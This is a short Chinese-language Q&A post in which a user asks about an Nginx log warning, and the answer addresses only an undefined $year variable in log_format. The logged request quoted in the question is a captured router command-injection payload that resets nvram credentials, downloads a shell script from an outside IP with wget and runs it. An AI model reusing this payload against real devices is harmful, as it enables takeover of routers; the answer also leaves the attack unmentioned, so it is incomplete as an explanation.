Nginx日志中的警告，需要说明

Question

我在Nginx的日志中有以下行：

2016/11/03 02:20:20 [warn] 30232#0: *372 using uninitialized "year" variable while logging request, client: 104.130.140.75, server: , request: "GET /cgi-bin/;nvram$IFS\set$IFS\http_passwd;nvram$IFS\set$IFS\http_username;nvram$IFS\commit;sleep$IFS\2;cd$IFS\/tmp;wget$IFS\http:\/\/104.130.140.75\/h\/wrt\/ugww.sh;chmod$IFS\777$IFS\/tmp/ugww.sh;/bin/sh$IFS\/tmp/ugww.sh HTTP/1.0 ", host: "XX.XX.XX.XXX:80"

主机是我的IP地址。

你能解释一下发生了什么吗？

Answer 1

检查 $year 变量的 log_format 参数。记录请求时它是未定义的。

Nginx 的变量列表：http://nginx.org/en/docs/varindex.html